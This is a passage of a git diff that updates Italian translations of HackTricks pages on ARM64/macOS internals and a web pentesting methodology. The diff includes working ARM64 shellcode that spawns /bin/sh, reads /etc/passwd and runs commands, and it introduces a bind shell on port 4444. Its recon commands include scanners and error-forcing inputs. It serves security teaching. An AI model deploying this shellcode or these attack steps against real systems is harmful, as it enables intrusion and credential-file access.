entrando in A32 o T32 a seconda del CPSR**.** +Armv8-A supporta l'esecuzione di programmi a 32-bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare tra di essi tramite **`interworking`**.\ +**Privilegiati** programmi a 64-bit possono schedulare l'**esecuzione di programmi a 32-bit** eseguendo un trasferimento del livello di eccezione al 32-bit con privilegi inferiori.\ +Si noti che la transizione da 64-bit a 32-bit avviene con un livello di eccezione inferiore (per esempio un programma a 64-bit in EL1 che avvia un programma in EL0). Questo si ottiene impostando il **bit 4 di** **`SPSR_ELx`** (registro speciale) **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il CPSR del programma **`AArch32`**. Poi, il processo privilegiato invoca l'istruzione **`ERET`** così il processore transita in **`AArch32`** entrando in A32 o T32 a seconda del CPSR**.** -L'**`interworking`** avviene utilizzando i bit J e T del CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\ -Questo viene impostato durante le **istruzioni di salto interworking**, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio: +L'**`interworking`** avviene usando i bit J e T del CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo fondamentalmente si traduce nell'impostare il **bit meno significativo a 1** per indicare che il set di istruzioni è T32.\ +Questo viene impostato durante le **interworking branch instructions,** ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio: Un altro esempio: ```armasm @@ -264,60 +267,60 @@ mov r0, #8 ``` ### Registri -Ci sono 16 registri a 32 bit (r0-r15). **Da r0 a r14** possono essere utilizzati per **qualsiasi operazione**, tuttavia alcuni di essi sono solitamente riservati: +Ci sono 16 registri a 32 bit (r0-r15). **Da r0 a r14** possono essere usati per **qualsiasi operazione**, tuttavia alcuni di essi sono solitamente riservati: -- **`r15`**: Contatore di programma (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32, corrente + 4. -- **`r11`**: Puntatore di Frame -- **`r12`**: Registro di chiamata intra-procedurale -- **`r13`**: Puntatore di Stack -- **`r14`**: Registro di Link +- **`r15`**: Program counter (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32 corrente + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Nota che lo stack è sempre allineato a 16 byte) +- **`r14`**: Link Register -Inoltre, i registri sono salvati in **`registri bancari`**. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire **veloci cambi di contesto** nella gestione delle eccezioni e nelle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.\ -Questo avviene **salvando lo stato del processore dal `CPSR` al `SPSR`** della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**. +Inoltre, i registri vengono salvati in **`banked registries`**. Si tratta di aree che memorizzano i valori dei registri consentendo di eseguire una **commutazione di contesto veloce** nella gestione delle eccezioni e nelle operazioni privilegiate, evitando la necessità di salvare e ripristinare manualmente i registri ogni volta. +Questo avviene salvando lo stato del processore da `CPSR` a `SPSR` della modalità del processore a cui viene gestita l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**. -### CPSR - Registro di Stato del Programma Corrente +### CPSR - Current Program Status Register -In AArch32 il CPSR funziona in modo simile a **`PSTATE`** in AArch64 ed è anche memorizzato in **`SPSR_ELx`** quando viene presa un'eccezione per ripristinare successivamente l'esecuzione: +In AArch32 il CPSR funziona in modo simile a **`PSTATE`** in AArch64 ed è anche memorizzato in **`SPSR_ELx`** quando viene presa un'eccezione per poi ripristinare l'esecuzione:
I campi sono divisi in alcuni gruppi: -- Registro di Stato del Programma Applicativo (APSR): Flag aritmetici e accessibili da EL0 -- Registri di Stato di Esecuzione: Comportamento del processo (gestito dal sistema operativo). +- Application Program Status Register (APSR): flag aritmetici e accessibile da EL0 +- Execution State Registers: comportamento del processo (gestito dal OS). -#### Registro di Stato del Programma Applicativo (APSR) +#### Application Program Status Register (APSR) - I flag **`N`**, **`Z`**, **`C`**, **`V`** (proprio come in AArch64) -- Il flag **`Q`**: Viene impostato a 1 ogni volta che **si verifica una saturazione intera** durante l'esecuzione di un'istruzione aritmetica specializzata di saturazione. Una volta impostato a **`1`**, manterrà il valore fino a quando non viene impostato manualmente a 0. Inoltre, non esiste alcuna istruzione che controlli il suo valore implicitamente, deve essere fatto leggendo manualmente. -- Flag **`GE`** (Maggiore o uguale): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "somma parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione. +- Il flag **`Q`**: viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica saturante specializzata. Una volta impostato a **`1`**, mantiene il valore fino a quando non viene manualmente impostato a 0. Inoltre, non esiste alcuna istruzione che ne verifichi implicitamente il valore; deve essere letto manualmente. +- Flag **`GE`** (Greater than or equal): viene usato nelle operazioni SIMD (Single Instruction, Multiple Data), come "parallel add" e "parallel subtract". Queste operazioni permettono di elaborare più punti dati in una singola istruzione. -Ad esempio, l'istruzione **`UADD8`** **somma quattro coppie di byte** (da due operandi a 32 bit) in parallelo e memorizza i risultati in un registro a 32 bit. Imposta quindi **i flag `GE` nell'`APSR`** in base a questi risultati. Ogni flag GE corrisponde a una delle somme di byte, indicando se la somma per quella coppia di byte **è traboccata**. +Ad esempio, l'istruzione **`UADD8`** aggiunge quattro coppie di byte (da due operandi a 32 bit) in parallelo e memorizza i risultati in un registro a 32 bit. Imposta poi i flag **`GE`** nell'`APSR` basandosi su questi risultati. Ogni flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte è andata in **overflow**. -L'istruzione **`SEL`** utilizza questi flag GE per eseguire azioni condizionali. +L'istruzione **`SEL`** usa questi flag GE per eseguire azioni condizionali. -#### Registri di Stato di Esecuzione +#### Execution State Registers -- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1, viene utilizzato il T32. -- **Registro di Stato del Blocco IT** (`ITSTATE`): Questi sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo prefissato **`IT`**. -- Bit **`E`**: Indica l'**endianness**. -- Bit di Maschera di Modalità ed Eccezione (0-4): Determinano lo stato di esecuzione corrente. Il **5°** indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (uno 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso venga attivata un'altra eccezione mentre questa viene gestita. +- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene usato il set di istruzioni A32, se è 1 viene usato T32. +- **IT Block State Register** (`ITSTATE`): sono i bit 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo prefissato con **`IT`**. +- Bit **`E`**: indica la **endianness**. +- **Mode and Exception Mask Bits** (0-4): determinano lo stato di esecuzione corrente. Il **5°** indica se il programma gira come 32bit (1) o 64bit (0). Gli altri 4 rappresentano la modalità di eccezione attualmente in uso (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso in cui un'altra eccezione venga generata mentre questa è in gestione.
-- **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione** (IRQ) hardware esterne. e il F è relativo alle **Richieste di Interruzione Veloce** (FIR). +- **`AIF`**: Alcune eccezioni possono essere disabilitate usando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati gli **asynchronous aborts**. Il bit **`I`** configura la risposta alle richieste di interrupt hardware esterne (IRQ). Il bit **`F`** è correlato alle **Fast Interrupt Requests** (FIRs). ## macOS -### Chiamate di sistema BSD +### BSD syscalls -Controlla [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Le chiamate di sistema BSD avranno **x16 > 0**. +Consulta [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) oppure esegui `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. Le BSD syscalls avranno **x16 > 0**. -### Trappole Mach +### Mach Traps -Controlla in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` e in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) i prototipi. Il numero massimo di trappole Mach è `MACH_TRAP_TABLE_COUNT` = 128. Le trappole Mach avranno **x16 < 0**, quindi devi chiamare i numeri dall'elenco precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**. +Guarda in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` e in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) i prototipi. Il numero massimo di Mach traps è `MACH_TRAP_TABLE_COUNT` = 128. I Mach traps avranno **x16 < 0**, quindi è necessario chiamare i numeri della lista precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**. -Puoi anche controllare **`libsystem_kernel.dylib`** in un disassemblatore per trovare come chiamare queste (e BSD) chiamate di sistema: +Puoi anche controllare **`libsystem_kernel.dylib`** in un disassembler per scoprire come chiamare queste syscall (e le BSD): ```bash # macOS dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib # iOS dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 ``` -Nota che **Ida** e **Ghidra** possono anche decompilare **dylibs specifici** dalla cache semplicemente passando attraverso la cache. +Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache. > [!TIP] -> A volte è più facile controllare il codice **decompilato** di **`libsystem_kernel.dylib`** **che** controllare il **codice sorgente** perché il codice di diverse syscalls (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato. +> A volte è più facile controllare il codice **decompiled** di **`libsystem_kernel.dylib`** **than** controllare il **codice sorgente** perché il codice di diverse syscalls (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente), mentre nel dylib puoi trovare cosa viene effettivamente chiamato. -### chiamate machdep +### machdep calls -XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. I numeri di queste chiamate dipendono dall'architettura e né le chiamate né i numeri sono garantiti per rimanere costanti. +XNU supporta un altro tipo di chiamate chiamate machine-dependent. I numeri di queste chiamate dipendono dall'architettura e né le chiamate né i numeri sono garantiti di rimanere costanti. -### pagina comm +### comm page -Questa è una pagina di memoria di proprietà del kernel che è mappata nello spazio degli indirizzi di ogni processo utente. È progettata per rendere la transizione dalla modalità utente allo spazio kernel più veloce rispetto all'uso delle syscalls per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente. +This is a kernel owner memory page that is mapped into the address scape of every users process. It's meant to make the transition from user mode to kernel space faster than using syscalls for kernel services that are used so much the this transition would be vey inneficient. -Ad esempio, la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla pagina comm. +Per esempio la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla comm page. ### objc_msgSend -È molto comune trovare questa funzione utilizzata in programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C. +È molto comune trovare questa funzione usata in programmi Objective-C o Swift. Questa funzione permette di chiamare un metodo di un oggetto Objective-C. Parametri ([maggiori informazioni nella documentazione](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Puntatore all'istanza -- x1: op -> Selettore del metodo -- x2... -> Resto degli argomenti del metodo invocato +- x1: op -> Selector del metodo +- x2... -> Il resto degli argomenti del metodo invocato -Quindi, se metti un breakpoint prima del ramo a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando): +Quindi, se metti un breakpoint prima del branch verso questa funzione, puoi facilmente scoprire cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto di `NSConcreteTask` che eseguirà un comando): ```bash # Right in the line were objc_msgSend will be called (lldb) po $x0 @@ -369,31 +372,31 @@ whoami ) ``` > [!TIP] -> Impostando la variabile di ambiente **`NSObjCMessageLoggingEnabled=1`** è possibile registrare quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`. +> Impostando la variabile d'ambiente **`NSObjCMessageLoggingEnabled=1`** è possibile ottenere un log quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`. > -> Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binario puoi vedere altre variabili di ambiente che potresti usare per **log** quando si verificano determinate azioni Objc-C. +> Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binary puoi vedere altre environment variables che potresti usare per **log** quando certe azioni Objc-C si verificano. -Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata, per questo vengono effettuate diverse ricerche: +Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata; per questo vengono eseguite diverse ricerche: -- Esegui la ricerca della cache ottimistica: -- Se ha successo, fatto -- Acquisisci runtimeLock (lettura) -- Se (realize && !cls->realized) realizza la classe -- Se (initialize && !cls->initialized) inizializza la classe -- Prova la cache della classe: -- Se ha successo, fatto -- Prova l'elenco dei metodi della classe: -- Se trovato, riempi la cache e fatto -- Prova la cache della superclasse: -- Se ha successo, fatto -- Prova l'elenco dei metodi della superclasse: -- Se trovato, riempi la cache e fatto -- Se (resolver) prova il risolutore di metodi e ripeti dalla ricerca della classe -- Se sei ancora qui (= tutto il resto è fallito) prova il forwarder +- Eseguire una lookup ottimistica della cache: +- Se ha esito positivo, terminare +- Acquisire runtimeLock (read) +- If (realize && !cls->realized) realize class +- If (initialize && !cls->initialized) initialize class +- Provare la cache della classe: +- Se ha esito positivo, terminare +- Controllare la method list della classe: +- Se trovata, popolare la cache e terminare +- Provare la cache della superclasse: +- Se ha esito positivo, terminare +- Controllare la method list della superclasse: +- Se trovata, popolare la cache e terminare +- If (resolver) try method resolver, and repeat from class lookup +- Se sei ancora qui (= tutto il resto ha fallito) provare il forwarder ### Shellcodes -Per compilare: +To compile: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; echo -n '\\x'$c done ``` -Per le versioni più recenti di macOS: +Per macOS più recenti: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do @@ -467,7 +470,7 @@ return 0; #### Shell -Preso da [**qui**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e spiegato. +Tratto da [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e spiegato. {{#tabs}} {{#tab name="with adr"}} @@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh" ``` {{#endtab}} -{{#tab name="con lo stack"}} +{{#tab name="with stack"}} ```armasm .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. .global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program. @@ -518,7 +521,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="con adr per linux"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. @@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh" #### Leggi con cat -L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi). +L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli addresses). ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat" .align 2 passwd_path: .asciz "/etc/passwd" ``` -#### Esegui il comando con sh da un fork in modo che il processo principale non venga terminato +#### Invocare un comando con sh da un fork in modo che il processo principale non venga terminato ```armasm .section __TEXT,__text ; Begin a new section of type __TEXT and name __text .global _main ; Declare a global symbol _main @@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala" ``` #### Bind shell -Bind shell da [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **porta 4444** +Bind shell da [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) in **port 4444** ```armasm .section __TEXT,__text .global _main diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index abbc191e2..c4fca911b 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -1,12 +1,12 @@ -# 80,443 - Metodologia di Pentesting Web +# 80,443 - Metodologia Pentesting Web {{#include ../../banners/hacktricks-training.md}} ## Informazioni di base -Il servizio web è il servizio più **comune e diffuso** e esistono molti **tipi diversi di vulnerabilità**. +Il servizio web è il servizio più **comune e diffuso** e esistono molti **diversi tipi di vulnerabilità**. -**Porta di default:** 80 (HTTP), 443(HTTPS) +**Porta predefinita:** 80 (HTTP), 443(HTTPS) ```bash PORT STATE SERVICE 80/tcp open http @@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## Riepilogo della metodologia +## Riassunto della metodologia -> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con server web non determinato all'interno dello scope. +> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con web server non determinato all'interno dell'ambito. -- [ ] Inizia **identificando** le **tecnologie** utilizzate dal web server. Cerca **trucchi** da tenere a mente per il resto del test se riesci a identificare con successo la tecnologia. -- [ ] Esistono **vulnerabilità note** per la versione della tecnologia? -- [ ] Stai usando qualche **well known tech**? Qualche **useful trick** per estrarre più informazioni? -- [ ] Qualche **specialised scanner** da eseguire (come wpscan)? -- [ ] Avvia **general purposes scanners**. Non sai mai se troveranno qualcosa o informazioni interessanti. -- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **SSL/TLS scan** (se HTTPS). -- [ ] Avvia lo **spidering** della pagina web: è il momento di **trovare** tutti i possibili **files, folders** e **parameters** in uso. Inoltre, controlla eventuali scoperte particolari. -- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere spidered._ -- [ ] **Directory Brute-Forcing**: Prova a brute force tutte le folders scoperte cercando nuovi **files** e **directories**. -- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere Brute-Forced._ -- [ ] **Backups checking**: Verifica se puoi trovare **backups** dei **discovered files** aggiungendo estensioni di backup comuni. -- [ ] **Brute-Force parameters**: Prova a trovare **hidden parameters**. -- [ ] Una volta che hai **identificato** tutti i possibili **endpoints** che accettano **user input**, verifica tutti i tipi di **vulnerabilities** correlati. -- [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md) +- [ ] Inizia **identificando** le **tecnologie** usate dal web server. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tech. +- [ ] Qualsiasi **vulnerabilità nota** della versione della tecnologia? +- [ ] Stai usando qualche **tech ben nota**? Qualche **trucco utile** per estrarre più informazioni? +- [ ] Qualche **scanner specializzato** da eseguire (come wpscan)? +- [ ] Avvia **scanner a scopo generale**. Non sai mai se troveranno qualcosa o qualche informazione interessante. +- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, **errore 404** e **SSL/TLS scan** (se HTTPS). +- [ ] Inizia a **spiderare** la pagina web: è il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso.** Controlla anche la presenza di **risultati speciali**. +- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, dovrebbe essere spiderata._ +- [ ] **Directory Brute-Forcing**: prova a brute-forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**. +- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, dovrebbe essere Brute-Forced._ +- [ ] **Controllo backup**: verifica se puoi trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni. +- [ ] **Brute-Force parametri**: prova a **trovare parametri nascosti**. +- [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input utente**, verifica ogni tipo di **vulnerabilità** relativa a essi. +- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Versione del server (Vulnerabile?) +## Versione del Server (Vulnerabile?) -### Identifica +### Identificare -Verifica se esistono **vulnerabilità note** per la **versione** del server in esecuzione. -Le **HTTP headers** e i **cookies** della response possono essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:** +Controlla se esistono **vulnerabilità note** per la **versione** del server in esecuzione.\ +Le **HTTP headers e i cookies della response** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma possono essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Cerca **le** [**vulnerabilities della versione dell'applicazione web**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) -### **Controlla se è presente un WAF** +### **Verifica la presenza di WAF** - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f) - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Trucchi per tecnologie web +### Web tech tricks -Alcuni **trucchi** per trovare **vulnerabilities** in diverse **technologies** ben note in uso: +Alcuni **trucchi** per **finding vulnerabilities** in diverse ben note **technologies** in uso: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,20 +101,19 @@ Alcuni **trucchi** per trovare **vulnerabilities** in diverse **technologies** b - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Tieni conto che lo **stesso dominio** può usare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\ -Se l'applicazione web sta usando una **tech/platform** nota elencata prima o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!). +_Tieni in considerazione che lo **stesso dominio** può utilizzare **diverse tecnologie** su diverse **porte**, **cartelle** e **sottodomini**._\ +Se la web application sta usando una delle **tech/platform elencate prima** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!). ### Source Code Review -Se il **source code** dell'applicazione è disponibile su **github**, oltre a eseguire da parte tua un test **White box** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale test **Black-Box**: - -- Esiste un **Change-log o Readme o Version** file o qualcosa con **version info accessibile** via web? -- Come e dove sono salvate le **credentials**? C'è qualche (accessibile?) **file** con credentials (usernames o passwords)? -- Le **passwords** sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato? -- Usa qualche **master key** per cifrare qualcosa? Quale **algorithm** viene usato? -- Puoi **accedere a uno di questi file** sfruttando qualche vulnerability? -- C'è qualche **informazione interessante su github** (issues risolti e non)? O nella **commit history** (forse qualche **password** introdotta in un commit vecchio)? +Se il **source code** dell'applicazione è disponibile su **github**, oltre a eseguire da **te un White box test** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale **Black-Box testing**: +- Esiste un **Change-log o Readme o Version** file o qualcosa con **informazioni di versione** accessibile via web? +- Come e dove vengono salvate le **credentials**? Esiste qualche (accessibile?) **file** con credentials (usernames o passwords)? +- Le passwords sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato? +- Sta usando una **master key** per cifrare qualcosa? Quale **algoritmo** viene usato? +- Puoi accedere a uno di questi file sfruttando qualche **vulnerability**? +- Ci sono informazioni interessanti su **github** (issues risolte e non risolte)? O nella cronologia dei commit (forse qualche password introdotta in un vecchio commit)? {{#ref}} code-review-tools.md @@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Scanner per CMS -Se è presente un CMS, non dimenticare di **eseguire uno scanner**, potresti trovare qualcosa di succoso: +Se viene usato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di interessante: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per vulnerabilità di sicurezza. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +148,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> A questo punto dovresti già avere alcune informazioni sul web server usato dal cliente (se vengono forniti dati) e qualche trucco da tenere a mente durante il test. Se sei fortunato hai persino trovato un CMS e lanciato qualche scanner. +> A questo punto dovresti già avere alcune informazioni sul web server usato dal client (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato potresti aver anche trovato un CMS ed eseguito qualche scanner. -## Scoperta passo-passo della Web Application +## Step-by-step Web Application Discovery -> Da questo punto inizieremo a interagire con l'applicazione web. +> From this point we are going to start interacting with the web application. -### Controlli iniziali +### Initial checks -**Pagine di default con informazioni interessanti:** +**Default pages with interesting info:** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Controlla anche i commenti nelle pagine principali e secondarie. +- Check also comments in the main and secondary pages. -**Forzare errori** +**Forcing errors** -I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilities** o **rivelare informazioni sensibili**. +I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o causare **esposizione di informazioni sensibili**. -- Accedi a **fake pages** come /whatever_fake.php (.aspx,.html,.etc) -- **Aggiungi "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values per creare errori -- Genera un errore fornendo in input **`/~randomthing/%s`** alla **fine** dell'**URL** -- Prova **different HTTP Verbs** come PATCH, DEBUG o errati come FAKE +- Accedi a **pagine fake** come /whatever_fake.php (.aspx,.html,.etc) +- **Aggiungi "\[]", "]]", and "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori +- Genera un errore fornendo come input **`/~randomthing/%s`** alla **fine** della **URL** +- Prova **diversi HTTP Verbs** come PATCH, DEBUG o sbagliati come FAKE #### **Check if you can upload files (**[**PUT verb, 